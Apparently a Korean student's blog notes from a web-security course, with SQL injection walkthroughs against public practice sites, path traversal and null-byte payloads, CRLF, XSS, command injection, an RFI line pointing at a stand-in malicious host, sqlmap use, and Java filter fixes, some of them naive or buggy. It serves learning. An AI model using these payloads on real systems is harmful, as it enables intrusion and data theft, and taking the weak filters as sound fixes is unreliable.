[웹보안] 웹보안 4일차 - 오후


오후는 졸리다


그리고 공격툴 프록시툴 등등등 쓸떄 상용 사이트에 
쓰지 말고


테스트가 허용된 사이트나 본인 사이트에서만 테스트 하도록 하자 


다른사이트에 알짱거리지 말고 




파로스를 써보자


파로스는


자바 32비트에서만 돌아간다




파로스 다운받아서 실행하자


소스코드로 받아서 이클립스에서 수정하고 실행해도 됨


알아서 찾아서 해보도록 하자.






1. 파로스 패턴 추가



/bbs.jsp?id=1


1)패턴조합


file download ( ../../../../etc/hosts) 이런거

/bbs.jsp?id=../../../../../etc/hosts




2)내부데이터 검색


/bbs.jsp?id=1(crawl)


주민등록 번호


걍 아이디값 겁내 날려놓고 리턴값 수집 하는 건가?


3) 신규패턴 전송

index.jsp

iisample.asp



패턴삽입

TestDefaltFileIIS.java


패턴조합

TestInjectionSqlFinger.....java



빨리 지나간다...



대충 파로스가 공격패턴 만들거나 조합해서


날리는 것 같은데 짱 귀찮음....




2. index of/



구글에서 index of/  이렇게 검색을 해보자


다운받을 수 있는 사이트들이 쭉 나열된다


디렉토리가 노출됨


해커가 디렉토리 구조를 보고 취약점 분석에 유용하게 사용함



robots.txt


인터넷 검색 엔진 배제 표준





디렉토리 노출을 막자.



3. 불필요한 메소드 허용



get post는 쓰는데 나머지 헤드 옵션 풋 트레이스 커넥트 등등은


앵간하면 막아야 한다.


put 같은 경우는 원격지에 파일 삽입으로 해당 서버 조지기 딱 좋음


CMD구동시키는 스크립트 삽입해서 원격에서 서버 cmd실행하고 나쁜짓 다 할 수 있음.


예전에 어떤 사이트에다가 웹쉘코드 올렸다가 아이디 차단 당했음 ㅠ_ㅠ


그냥 저장용으로 올린건데 ㅠ_ㅠ







[웹보안] 웹보안 4일차 - 오전



4일차다..


다음주에 하루만 더 나오면 끝이다아





1.URL 직접 접근


대충 관리자 페이지 URL을 추측해서


/admin/menu.jsp

/admin/setting.jsp


이런식으로 추측해서 바로 접근 한다


보통 저런 URL은 메뉴창에 보이지 않도록 하며


처음 /admin 정도에서만 권한 확인을 하고


그 이후 url에 대해선 권한 체크를 하지 않는 경우가 있어


바로 접근이 가능한 경우가 있다.




2. 중요정보 평문저장


당연한 얘기...


평문으로 전송도 하지 말고 저장도 하지 말자.



3. 하드코드된 암호화키


암호화 키를 코드내에 하드코드 해놓으면 위험하다


외부에서 암호화된 키를 가지고 온 후 복호화 해서 사용 하는 것이


좋아 보인다. 사실 뭔차인지 잘 모르겠다


서버코드 뚫리면 외부 암호화된 텍스트도 털릴텐데





4. 적절하지 않은 난수값 사용


예측 가능한 난수를 사용하지 말고 예측 불가능한 시큐어 랜덤을 사용 한다.


일반 랜덤 함수는 여러번 돌리다보면 패턴이 발견된다.



1
long seq = Math.round(Math.random() * 10240+ 10000;
cs


이건 안됨


1
long seq = Math.round((new SecureRandom().nextDouble() * 10240* 2345);
cs


이렇게 하거나


1
2
3
4
5
private final static Random random = new Random(System.currentTimeMillis());
 
// 이걸  아래처럼 코딩
 
private final static Random random = new SecureRandom();
cs



이렇게 만들자





5. 쉐도우 크랙툴

 https://cafe.naver.com/sec


여기서 유틸모음에서


쉐도우 크랙툴 john 어쩌구 하는거 받아보자


개싱기방기함


사용법은 알아서 찾아 보고 쓰자


http://kcats.tistory.com/128


여기 가면 사용법 잘 나와있는거 같은데 어려움.... 






6. 사용자 하드디스크에 저장되는 쿠키를 통한 정보 노출


쿠키변조나 쿠키 가로채기(XSS)등으로..


망할 웹보안 신경쓸거 더럽게 많네


난 쿠키 잘 쓰지도 않고 중요정보는 더더욱 쿠키 안쓰니까


걍 패스....



1
Cookie newCookie = new Cookie(AUTHCOOKIE, loginID);
cs



쿠키를 이렇게만 만들어 놓고 썻다면


1
2
3
Cookie newCookie = new Cookie(AUTHCOOKIE, loginID);
// 아랫부분 추가 해주도록 하자 그럼 
newCookie.setHttpOnly(true);
cs


이렇게 setHttpOnly(true)를 추가 해주도록 하자


그럼 브라우저에서 쿠키값 못가져 온다.


이렇게 아주 간단한 방법으로 막을 수 있다.





7. 주석문 안에 포함된 시스템 주요 정보


주석문 안에 아이디와 패스워드 넣어 놓고 안지우고 배포하는 경우가 있다


가끔 실수 할 수 있으니 잘 체크 하자


8. 솔트값(소금치기) 없이 일방향 해쉬함수 사용


rainbow attack에 취약 하다


레인보우 테이블로 쭉 돌려서 어택 하면


매칭되는 값 나온다.


일방향 해쉬로 암호화를 하더라도 패스워드 중간에


암호키처럼 중간에 다른 값을 같이 넣어서 암호화를 시키면


암호 텍스트도 늘어나고 레인보우공격으로 알아내더라도


정확한 암호를 알기 더 어려워 진다.





9. 무결성 검사 없는 코드 다운로드


딴짓하느라 못들음







----


java 32비트 다운받아서 설치 하고 패스 설정 따로 해주고


paros를 쓰자


paros는 자바32비트에서만 구동됨














[웹보안] 웹보안 3일차 - 오후



졸리다 졸리다 졸리다아아아





1. 다운로드 취약점


다운로드 취약점 테스트


http://php.testsparker.com



1) 경로(path traversal)


다운로드 요청 url에 상대 경로가 들어가는 경우 ../../ 을 이용하여 다른 파일을 다운받는다


host/../../../../../../



../../../../../../windows/system32/drivers/etc/hosts





http://php.testsparker.com/process.php?file=Generics/index.nsp 

이렇게 생겨먹은걸

http://php.testsparker.com/process.php?file=../../../../../../windows/system32/drivers/etc/hosts





2) 널바이트 인젝션


%00 혹은 0x00을 사용해 특정 확장자를 숨기기 위한 목적으로 사용되거나


뭐 또 나쁜짓 하겠지


졸려서 뭔말인지도 잘 못알아 듣겠슴....



예)


http://php.testsparker.com/process.php?file=../../../../../../../windows/system32/drivers/etc/hosts%00.nsp



이렇게 하면 시스템 정보를 가져 올 수 있다



위에 보면 호스트 정보가 표출 된다.


../를 이용해 상대경로로 해당 시스템정보가 있는 경로를 찾아가고


%00.nsp 를 이용해 해당 정보를 받아온다


%00.nsp를 넣는 이유는


burp로 해당 사이트를 따보니 파일 다운로드 확장자는 nsp라는걸 확인 했고


%00 이 널바이트를 이용해 hosts까지만 읽고 뒤쪽은 잘라내 버리도록 한다


.nsp는 잘리기 전에 해당 확장자면 파일 다운로드가 이루어 질 것 이라는걸 예측후 넣은 것


뭔말인지 모르겠지만 나도 모르겠다 개어렵네 




해결 방법


1
2
data = data.replaceAll("\"""");
data = data.replaceAll(".""");
cs


이런식으로 받아온 파일명의 텍스트를 필터 하는 방법으로 해결 한다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 
public class XpathFilter {
 static String Xpath(String data) {
    // TODO Auto-generated method stub
     data = data.replaceAll("\"""");
     data = data.replaceAll("'""");
     data = data.replaceAll("(""");
     return data;
}
 
 static String crlf(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("\r""");
         data = data.replaceAll("\n""");
         return data;
    }
 
 static String download(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("./""");
         data = data.replaceAll("../""");
         data = data.replaceAll("..\\""");
         data = data.replaceAll("\\\\""");
         return data;
    }
 
}
cs



 이런식으로 필터 클래스 만들어서 계속 가져다 쓰면 편함






LFI(local file inclusion)


file?param=../../../etc/[asswd



RFI(Remote file inclusion)


file?param=http://www.malicious.com/a.txt





2. 파라미터 변조


명령어를... 그.. 뭐지... 그...


그냥.. 파라미터에 명령어 넣지 말고 인자값으로 이프문 써서 실행 되도록 수정 하면 안전하겠지..


1
2
3
4
5
6
7
8
9
10
11
12
String results;
String fileData = null;
helpFile = helpFile.replaceAll("\\.help""\\.html");
 
if (osName.indexOf("Windows"!= -1)
{
        // Add quotes around the filename to avoid having special characters in DOS
        // filenames
        results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
        fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
 
}
cs



이런코드 같은데 저런거 그냥 앵간하면 쓰지 말자.

어지간한 프로젝트에선 쓸일도 없을거임.



" & netstat -rn


-> url 


%22+%26+netstat+-rn







webgoat에서 명령어 날리는 프록시 가로채서 


%22+%26+netstat+-rn


이거 넣어 주면 해당서버에서 저 명령어가 " & netstat -rn 이걸로 바뀐다음 실행된다.



해결방법


1
2
3
4
5
6
7
8
static String commandIn(String data) {
        // TODO Auto-generated method stub
         data = data.replaceAll("&""");
         data = data.replaceAll("%26""");
         data = data.replaceAll("%22""");
         data = data.replaceAll("\"""");
         return data;
    }
cs



이런 필터 만들어서 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                String results;
                String fileData = null;
                helpFile = helpFile.replaceAll("\\.help""\\.html");
                
                // 필터링 발동!
                helpFile = XpathFilter.commandIn(helpFile);
                        
                if (osName.indexOf("Windows"!= -1)
                {
                    // Add quotes around the filename to avoid having special characters in DOS
                    // filenames
                    results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
                    fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
 
                }
cs


7번 라인 처럼 이렇게 필터링 해주자





-이전 포스팅 -


2017/06/03 - [Yame Programmer/웹보안] - [웹보안] 웹보안 3일차 - 오전

2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오후

2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오전

2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오후

2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오전




[웹보안] 웹보안 3일차 - 오전





1. HTTP 응답분할 (CRLF Injection)


http://testphp.vulnweb.com/redir.php?r=http://www.google.com



이렇게 주소 입력 하면 구글로 이동함


우왕 싱기방기




GET http://testphp.vulnweb.com/redir.php?r=aaa%0d%0a%20new_header HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Accept-Language: ko-KR

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: testphp.vulnweb.com

DNT: 1

Proxy-Connection: Keep-Alive



http://testphp.vulnweb.com/redir.php?r=aaa%0d%0a%20new_header
이렇게 날리면

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.4.1
Date: Sat, 03 Jun 2017 01:43:21 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Location: aaa new_header:


이렇게 응답받아옴

리다이렉트가 성공하면 된거임

저걸 막아야함


웹고트를 파인드 버그로 돌려보면



이런식으로 잡히는게 있다.


이걸 수정 하려면


아래와 같이 수정한다.


1) 해결 방법



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void setHttpOnly(WebSession s)
    {
        String value = createCustomCookieValue();
        HttpServletResponse response = s.getResponse();
        String cookie = s.getCookie(UNIQUE2U);
 
        // 쿠키에 들어오는 취약점을 제거하기 위해 \r과 \n 을 없애 준다.
        cookie = cookie.replaceAll("\r""").replaceAll("\n","");
        
        if (cookie == null || cookie.equals("HACKED"))
        {
            response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly");
            original = value;
        }
        else
        {
            response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly");
            original = cookie;
        }
    }
cs


저렇게 8번 라인의 내용을 추가 해 주면 되겠다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void removeHttpOnly(WebSession s)
    {
        String value = createCustomCookieValue();
        HttpServletResponse response = s.getResponse();
        String cookie = s.getCookie(UNIQUE2U);
 
        // 쿠키 취약점 수정
        cookie = cookie.replaceAll("\r""").replaceAll("\n","");
 
        if (cookie == null || cookie.equals("HACKED"))
        {
            response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";");
            original = value;
        }
        else
        {
            response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";");
            original = cookie;
        }
    }
cs



이곳도 마찬가지.


근데 저거 수정해도


파인드버그에선 계속 나타나니까


수정하고 나면 파인드버그에서 수정한걸로 필터를 걸어주면 되겠다.


단 해당 취약점에 필터를 걸면 다른소스에 걸린 것들도 다 필터가 되니까


동일 취약점에 대해선 전부 수정을 해 준 후에 파인드버그에서 필터를 걸어주도록 하자.






2. XSS(Cross Site Script)


제일 많이 아는 취약점이고 가장 많이 나오는 취약점임


<script>alert("xss test"); </script>


이걸로 테스트 많이 함



저 스크립팅이 먹히면 온갖 스크립트로 할 수 있는 공격이 가능 하다.




1) 개념


DOM(local) XSS  - 사용자측 스크립트

Reflected XSS  - 서버측 스크립트

Stored Xss - 서버측 스크립트




Reflected


사용자 입력 값이 웹 화면에 바로 출력 되는 것


Stored


사용자 입력값이 DB에 저장되고 다시 출력되는 것


DOM


위험한 입력처리 오브젝트 

아래의 dom 오브젝트들을 외부에서 검증되지 않는 값을 사용 할 수 있기 때문에 취약한

입력 값 이라고 정의 할 수 있다


document.URL

document.URLUnenCoded

document.location

document.referrer



위험한 출력처리 오브젝트


document.write 등등





해결방법


1
2
3
4
5
<p> jsp basic : <%=input %></p>
 
<p>EL : ${param.input }</p>
 
<p>JSTL : <c:out value="${param.input }"></c:out></p>
cs



stored 류의 XSS는 출력값을 JSTL을 이용해


c:out 를 이용해 출력하게 하도록 한다.


그럼 해결됨 JSTL 짱짱맨


위의 코드를 각각 테스트 해보면 됨.


jsp와 el은 스크립트 실행이 되는데 jstl은 실행 안됨





jsp와 el은 스크립트 실행이 되어 팝업이 뜨는데


JSTL에서는 팝업이 뜨지 않고 텍스트로 출력이 되는 것을 확인 할 수 있다.






https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XSS_Locator



여기 가면 온갖 방법들이 있으니 필터 한두개 걸었다고 안심하지 말자


1
\";alert('XSS');//
cs


이런 꺽쇠를 사용하지 않은 공격 방법도 있다




XSS는 정적 분석에선 잡아내기 힘들고 동적 분석에서 발견 하는 것이 좋은 것 같다.











[웹보안] 웹보안 2일차 - 오후


이 포스팅에서 나오는거 실습은


경찰서나 회사 법무팀에서 연락받기 싫으면


해킹테스트 하라고 오픈한 사이트나


본인 사이트에서만 하도록 하자





http://findbugs.cs.umd.edu.eclipse


이클립스 추가 설치 플러그인


findbug - http://findbugs.cs.umd.edu/eclipse


findsecurity 




findbug 이클립스에 설치 하고 써먹어 보도록 하자


설치방법이나 사용법은 대충 구글해서 검색해 보고


사용 한다.




정적분석(static)

findbugs security (사용자 정의 룰 X) 

PMD (사용자 정의 룰 xpath query)


동적분석(dynamic)

scanray(paraos)

arachni




static + dynamic => hybrid




xpath


https://www.w3schools.com/xml/xpath_examples.asp


https://www.w3schools.com/xml/tryit.asp?filename=try_xpath_select_cdnodes_first



xml 정보를 가져 올 수도 있다.





juliet (test cases)

=> sink(input form, file ..)


cwe juliet <- 구글에서 검색하면 나옴


https://samate.nist.gov/SRD/testsuite.php




필터링엔


white list

black list가 있다


근데 둘다 짱 귀찮음


화이트 리스트는 허용된 리스트 항목만 전송 시키고


블랙리스트는 작성해놓은 리스트와 일치 하는건 전송 안시키는 것


둘다 개귀찮은데 하긴 해야함


1
2
3
4
5
6
7
8
9
10
package org.owasp.webgoat.lessons;
 
public class XpathFilter {
 private String filter(String data) {
    // TODO Auto-generated method stub
     data = data.replaceAll("\"""");
     data = data.replaceAll("'""");
     return data;
}
}
cs





요런식으로 만들어주자


그리고


1
2
String expression = "/employees/employee[loginID/text()='" + XpathFilter.Xpath(username) + "' and passwd/text()='" + XpathFilter.Xpath(password)
                    + "']";
cs


이렇게 값을 받아 쓰는 곳에 필터를 걸어 주도록 하자.


그럼 역슬래쉬와 싱글쿼테이션은 삭제가 된 문자열을 사용 하도록 하게 된다.



저렇게 바꾸면 실질적으론 차단이 되지만 findbug툴에선 여전히 xpath 취약점으로 나타나게 되는데


이때는 툴에서 예외처리를 해주면 된다.



취약점이 나타난 목록에 오른쪽 클릭 -> 토글 필터 - > this로 시작하는거 클릭 


이렇게 하면 해당 리스트는 빠지게 된다.



툴이 아무리 대단해도 사람이 임의로 만든 클래스가 필터링 하는 클래스인지까진 인지하지 못하기 때문에


취약리스트에 그대로 나타나게 되는 것 이다.



툴ㅇ 다 만능이 아님





http(response) splitting

CRLF Injection

http 응답분할

=> CRLF(\r\n)

위의 세가지는 동일한 취약점임


CRLF = Carriage Return , Line Feed


키보드의 엔터키와 동일한 기능을 한다. 그러나 URL 특정 파라미터에 해당 코드를 삽입하는 경우

임의의 헤더 정보를 생성 할 수 있는 취약점이 발생된다.


대충 헤더가 생겨먹은건


get /test.php HTTP/1.1

Accept : image/gif , 


뭐 대충 이렇게 생겨먹은애들인데


URL에 엔터키 기능 하는 걸 넣어서 다른 헤더정보를 삽입이 가능 하게 만드는 것.



url=%0D%0A%20New_Header:New_Header_Value%0D%0A


이런식으로 공격 문자를 넣는다


제대로된 공격 문자는 검색해서 알아서 찾아 보도록 하자



\r 이거랑 \n 이거 필터링 걸면 됨


근데 사례가 겁내 많음 알아서 막자


세상은 넓고 해커는 많다







CSP - Content Security Policy


검색해서 적용시켜 보자



XSS (Cross Site Scripting)


크로스 사이트 스크립팅


텍스트에 스크립트를 넣어서 관리자 정보를 취득한다거나


다른 페이지로 이동시킨다던가 뭐 스크립트로 해먹을 수 있는건 다 할 수 있다


이건 유명하니까 좀만 검색해도 다 나옴


XSS가 먹히는지 확인하는 간단한 방법임

<script> alert("test"); </script>







burp suite(=scan-ray) 


버프수트 프록시툴임 사람들이 많이 씀 관련한 글들도 검색하면 잘 나옴



client side : server side


# how to use proxy tool

1. proxy 설정(웹 브라우저 $ burp)


[[ web.brw => burp <요기서 가로챔>    ]]<======> www

     로컬 브라우저                                                  웹





2. 대상 페이지 호출 및 변조

3. 재전송







[웹보안] 웹보안 2일차 - 오전


웹보안 2일차 오전 수업 내용 입니다.


아래 내용에 대한 실습은 


http://demo.testfire.net/ 여기나

http://testphp.vulnweb.com/ 여기나


웹고트 등으로 허용된 곳에서 사용하세요


사용사이트에서 쓰다가 해당 회사 보안팀이나 관리자한테 연락 옵니다 ㅋㅋㅋ


참고 사이트


http://www.moi.go.kr/


행정 자치부


정책자료 -> 간행물 ->  시큐어코딩 검색


http://www.moi.go.kr/frt/bbs/type001/commonSelectBoardArticle.do?bbsId=BBSMSTR_000000000012&nttId=42152


C/JAVA 시큐어 코딩 가이드 게시글이 있다


참고문헌

CWE

https://cwe.mitre.org/



https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project


웹보안과 관련된 레퍼런스 가이드들이 많이 나와있다

근데 다 영어임





어차피 크롬이 번역해주거나 개발자라면 알아먹을 수 있는 말들 뿐이니까 걱정은 하지 말고


저길 본인이 들어가서 확인 할 만큼 의지가 있는지가 더 중요함.


나는 여기 적어 놓고 안들어 갈 것 같음.





SQL Injection


1. 에러기반

1' or 1=1


http://testphp.vulnweb.com/listproducts.php?cat=1


일부러 에러 내서 에러메세지 나타나는지 확인

http://testphp.vulnweb.com/listproducts.php?cat=1'




2. Union 기반

1 union Select * ~


ex)  http://www.site.com/news.php?id=5 union all select 1, table_name, 3 from information_schema.tables





DBMS에 대한 정보가 없으니 일단 필드 개수나 정보부터 캐와 보도록 해보자

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null#


메세지가


Error: The used SELECT statements have a different number of columns Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74


이렇게 나옴


http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null# 


http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null# 

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null# 

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null, null, null, null, null, null, null


null 11개 입력하니까 얼렸다


그럼 컬럼이 11개라는 얘기


http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,2,3,4,5,6,7,8,9,10,11# 


맨 마지막 으로 스크롤 내려보면 뭔 숫자들이 나왔다


2,7,9 라는 숫자가 있는데 여기에 공격문자를 넣어서 정보 취득이 가능 하다는 뜻




http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,user(),3,4,5,6,7,8,9,10,11# 



아까 숫자 2가 출력된 자리에


계정정보 acuart@localhost 나타났다




http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()# 




2가 들어갔던 자리에


artists,carts,categ,featured,guestbook,pictures,products,users  라는 정보가 나타났다


아마 저게 테이블 이름 인 것 같다


users 라는 중요한 정보가 있을것만 같은 테이블을 공략해 보자


http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'# 



uname,pass,cc,address,email,name,phone,cart 라는 컬럼 정보가 표시된다


http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,uname,3,4,5,6,address,8,pass,10,11 from users# 


2번과 9번이 들어갔던 자리에 사용자의 ID와 PW가 나타난다


이 정보로 signup으로 들어가 로그인을 하면 접속이 되는 것을 확인 할 수 있다.









3. Blind기반

1, 1 and 1=0


악의적인 문자열 삽입 대신 쿼리 결과에 따라 정보를 취득 하는 기법이다.

덮어놓고 노가다 한다


http://testphp.vulnweb.com/listproducts.php?cat=1 


1개 문자열 추출

select * from test where id = 1 and (식) 116(t)

select * from test where id = 1 and (식) 101(e)



문자열의 범위를 확인


select * from test where id = 1 and (식) > 47

select * from test where id = 1 and (식) < 58



크고 작음의 true false 확인을 통해 범위를 좁혀 나간다.


SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 > 90

이런식






1. 동적

- scanray, sqlmap


2. 정적

- findbugs, security, PMD


select ..

from ..

where name = $name (sql 인젝션 취약)


..


where name = #name (sql 인젝션 안취약)




이제 webgoat를 해보자


저번주에도 했지만 또 한다.








[웹보안] 웹보안 1일차 - 오후


쌍용 강북 센터 모의해킹 및 웹보안


웹보안 관련 강의만 세번째 듣는다.


처음엔 KISA에서 듣고 두번쨰는 현대 모비스에서 듣고


세번째로 듣는데 내용은 대동소이 하다






1. 기술적 진단

 - 웹취약점 진단 vs 소스코드 진단



1)웹 취약점 진단


로그인

계정 및 암호 찾기

회원가입

회사소개

공지사항

현장소식



2) 소스코드 진단


정책자료 http://www.moi.go.kr

https://kisa.or.kr




---skip ---


웹취약점 진단기준


https://www.owasp.org

owasp top10, 10개


A1 ~ A10 (스캔레이의 룰정책에 보면 기본적으로 해당 정보가 있다)




진단 기준은 3년단위로 업데이트 된다. - 그러나 굵직한건 거의 동일 내용임



-----------skip -------------


HTTP 프로토콜

request

브라우저/http 프로토콜마다 request셋팅은 달라진다.


request 기타 메소드는 대부분 사용이 안되고 get/post만 가능 하게끔 구성 되어 있다.


restfull서비스 다 허용하면 공격자가 서버에 파일을 변경하거나 입력할 수도 있게 된다.


response (응답)

200: 정상응답

300:페이지이동

400:클라이언트 잘못된 요청

500: 서버쪽 에러


이러한 응답 코드를 노출하게 되면 공격자에게


어느 부분에서 에러가 났는지 알게 해주기 때문에


공격자에게 힌트를 줄 수가 있다.


에러 페이지는 알아서 잘 만들자.






--skip --


http://demo.testfire.net


kisa 관련 보안 수업때 항상 등장하는 사이트.





--skip--


Sql injection


1. 일반  sql 인젝션


http://demo.testfire.net


에서 로그인시에


ID는 대충 누가 봐도 관리자 아이디 일 것 같은 


admin 입력 후


pw는


싱글쿼테이션인 ' 이걸 넣어보고 날려보자


그럼 sql 에러 메세지와 함께 쿼리도 보여 준다


이때 pw입력을


'or'1'='1


이라고 넣어주면


sql에서는 


WHERE ID='admin' AND pw = ''or'1'='1' 


이라고 인식하여 true값을 리턴하게 되며


admin 계정으로 로그인이 된다.





만약 싱글쿼테이션이 url 인코딩되어 전송되는 경우


프록시툴을 이용하여 HTTP 요청을 가로채서 값을 바꾼 후에 전송 한다.




2.블라인드 인젝션


webGoat -- http://localhost./WebGoat/attack?Screen=13&menu=1100




이름의 첫글자가 어떤 글자인지 추측 한다  뒤의 90은 대문자인지 소문자인지 구별하기 위함이며


90보다 작은경우 대문자 90보다 큰 경우 소문자 라고 생각 할 수 있다.


90은 대문자 Z의 아스키 코드값 이다.

1
SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 > 90
cs



->


1
101 and SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 > 80
cs




이렇게 날렸을때 리턴되는 값이 밸리드인지 인벨리드인지 보고 글자를 판단 하도록 한다.


이런식으로 반복하다 어느정도 범위가 좁혀지면


1
101 and SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 = 74
cs


이런식으로 날려준다


74에서 밸리드가 나온다면 아스키코드 74에 해당하는 글자가 4321432143214321라는 


계좌번호의 주인 이름의 첫글자 라는 것을 알 수 있다.


이런식으로 substring 뒤쪽의 숫자를 

1
2
3
ASCII(SUBSTRING(name,1,1)) 
ASCII(SUBSTRING(name,2,1)) 
ASCII(SUBSTRING(name,3,1))
cs


등으로 바꿔가면서  


한글자식 알아내면 해당 계좌번호의


주인 이름을 전부 알아 낼 수 있다.



다운로드 취약점


서버에 중요한 정보인 config 류의 파일이나


권한,DB접속 정보들이 있는 xml파일을 암호화 하거나 추가적인 권한조치를 취하지 않으면


다운로드 취약점이 발견되는 경우 해당 중요정보가 있는 파일을 다운 받아 해당 서버및 웹어플리케이션


중요정보를 공격자가 알 수 있게 된다




http://localhost./WebGoat/attack?Screen=57&menu=200


Bypass a Path Based Access Control Scheme

프록시툴을 이용해 특정 파일을 요청하는 패킷을 가로채


상대경로로 바꾼 후 톰캣 정보를 가져 올 수 있게 된다.


대충 프로젝트 몇개 하다보면 대부분의 웹어플리케이션의 폴더구조는


비슷비슷 하다는걸 알기 때문에 아래와 같이 추측이 가능 하다


ex) File=../../../tomcat/conf/tomcat-users.xml&SUBMIT=View+File


해당 파일의 정확한 위치를 알 수는 없지만 상대경로를 통해 올라가다 보면


얻어걸리기 때문에 중요 정보를 가져 올 수 있다.



서버보안 이전에 어플리케이션에서 저런 상대경로 요청을 막거나 중요 파일의 암호화를


하지 않은 경우 어렵지 않게 중요 정보가 공격자에게 노출 될 수 있다.




sql MAp 사용



sqlmap 타겟의 디비정보를 뽑아오는 유틸


파이썬기반이기 떄문에 파이썬을 설치 후 사용 하자


파이썬 2점대 버전으로 설치 하도록 하자



사용 방법에 대한 관련 블로그

https://brunch.co.kr/@leesmain/8




테스트 사이트


http://testphp.vulnweb.com



SQLMAP 명령어



 sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 -v 3



뒤에 옵션을 -all --batch 로 주면


모든 공격을 다함



Session 


http 는 stateless 프로토콜이다


그런데도 사용 하는 이유는 가볍고 빠르기 때문에


웹서비스에 적합하기 때문이다.


stateless이기 떄문에 클라이언트가 어떤놈인지 구분할줄 몰라서


http 에서 히든태그를 계속 날려줬었다


그런데 그건 보안에 취약하다


그러니까 히든태그에 담는 데이터를


넷스케이프에서 만든 쿠키에 담기 시작했다


그런데 사실 이것도 보안에 안좋음 


클라이언트 로컬에 저장하기 떄문이다. 게다가 문자열정보만 저장 할 수 있다.


정 쿠키를 쓸떄는 httpOnly를 사용 하도록 한다.


그러니까


세션에 담아서 사용 하도록 하자






[웹보안] 웹보안 1일차 - 오전


2017.05.20 

강북 쌍용 교육센터 웹 보안 기록용 포스팅 입니다.


- 교재 : 해킹 초보를 위한 웹 공격과 방어,

웹 모의해킹 및 시큐어코딩 진단 가이드.



보안에는


클라이언트 , 네트워크 , 시스템, DB정보, 문서 위변조 방지에 관련 한 것이 있다.



해당 글은


웹 어플리케이션 구현 단계에서의 보안에 포커스가 맞춰져 있다.



프록시 툴 : request/response 정보를 변경 할 수 있는 툴

Client-> Proxy Tool->IDS/IPS

IDS/IPS -> Proxy Tool -> Client


버프슈트, 파로스,스캔레이 등 여러가지 툴이 있다.


특정기능은 유료구매를 해야 한다던가 32비트 환경에서만 작동된다던가 하는 툴들이 있으니


알아서 잘 선택 하자.



이번에 사용할 프록시툴은


Scan-Ray 라는 툴을 사용할 것이다.


http://trinitysoft.co.kr/


이곳에서 스캔레이를 받아서 설치를 하면 된다.


구동 환경은 JDK 환경에서 구동 가능 하다.


교육용으로 배포되는 툴이니 알아서 사용 하도록 하자.


설치파일 실행은 관리자 권한 으로 실행 하도록 한다.


일반설치를 하게 되면 write기능이 안먹힌다.



스캔레이 사용 방법



체인 모양 - 프록시 연결 설정임. 짱편함 인터넷 옵션에서 프록시 체크 안해도됨


URL다운모양 - 뭘 써먹을 수 있는지 목록 보여줌


체크판떼기 - 룰설정임 근데 기본적으로 다 체크한 상태로 점검 해보자


지구본검색모양 - 해당 사이트에 공격을 해봐서 취약점 리스트를 뽑아줌.


그래프모양 - 취약점 리포트를 보여준다




테스트 사이트


아무데서나 프록시툴로 변조해서 공격하면 해당 보안팀이나 회사에서 연락 올테니


공격테스트 해보라고 오픈 해놓은 테스트 사이트를 이용 하도록 하자


http://demo.testfire.net

http://www.vulnweb.com



WebGoat


webGoat 도 받아보도록 하자. 보안관력 공격해보고 수정해보고 씹뜯맛즐 할 수 있는 프로젝트다.


https://github.com/WebGoat/WebGoat-Legacy


여기서 받으면 된다.



오라클 설치 되어있으면 8080말고 80으로 시작하자


http://localhost./WebGoat/attack

접속 하면


id:guest

pw:guest


이걸로 로그인 한다.


localhost 뒤에 . 이 붙는 이유는 프록시 어쩌구 했는데 기억 안남. ㅅㄱ










+ Recent posts